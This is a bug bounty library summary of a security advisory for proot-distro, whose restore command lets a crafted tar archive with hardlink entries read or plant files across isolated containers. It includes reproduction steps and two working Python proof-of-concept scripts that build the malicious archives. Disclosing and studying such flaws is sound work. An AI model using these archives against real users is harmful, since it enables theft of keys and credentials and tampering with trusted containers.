# proot-distro has a Container Isolation Bypass via Crafted Restore Archive

proot-distro restore resolved tar hardlink linkname across containers, letting a crafted archive copy files between isolated containers.

- Payout: Research
- Severity: high
- Program: proot-distro
- Found by: x0root
- Disclosed: 2026-07-29
- CVE: CVE-2026-54727
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7h3g-4w2f-fj2f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7h3g-4w2f-fj2f
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:linux technique:source-review vuln:access-control vuln:path-traversal

**Target:** Termux CLI `restore` command processing tar backup archives
**Root cause:** Hardlink processing resolves the source container from the archive's `linkname` and only validates the path stays inside the containers directory, never checking the source container equals the container being restored.
**Steps:**
1. Install victim container with marker: `proot-distro install alpine --name victim` then write `/root/proof.txt` containing `PROOF-12345`.
2. Install attacker container: `proot-distro install alpine --name attacker`.
3. Build tar with a dir entry `attacker/rootfs/exfil` and an LNKTYPE entry `attacker/rootfs/exfil/stolen_key` whose `linkname` is `victim/rootfs/root/proof.txt`.
4. Run `proot-distro restore ./malicious.tar`.
5. Read result: `proot-distro run attacker -- cat /exfil/stolen_key` outputs `PROOF-12345`.
6. Reverse direction: LNKTYPE entry `victim/rootfs/root/copied_from_attacker.txt` with `linkname` `attacker/rootfs/root/source.txt` injects attacker data into victim rootfs.
**How found:** Reporter examined restore's hardlink handling and noticed path traversal checks confined the source to the containers directory but never compared the source container name to the destination container being restored.
**Exploitation:** Attacker crafts a tar archive with hardlink entries whose linkname points into another installed container's rootfs, then convinces the user to run `proot-distro restore` on it; the restore copies the referenced file into the archive-designated container, exfiltrating secrets or planting files.
**Escalation:** Cross-container read enables theft of SSH keys, API credentials and app databases; cross-container write enables planting files into a trusted container's rootfs.
**Insight:** When a restore/extract routine validates a path is 'inside the base directory', check whether the base directory is shared across multiple tenants/containers — containment within the parent is not containment within the destination.

## Proof of concept (copied exactly from the original report)

**Crafted tar hardlink exfiltrating victim container file**

```
python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'
```

**Crafted tar hardlink injecting file into victim container**

```
python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'
```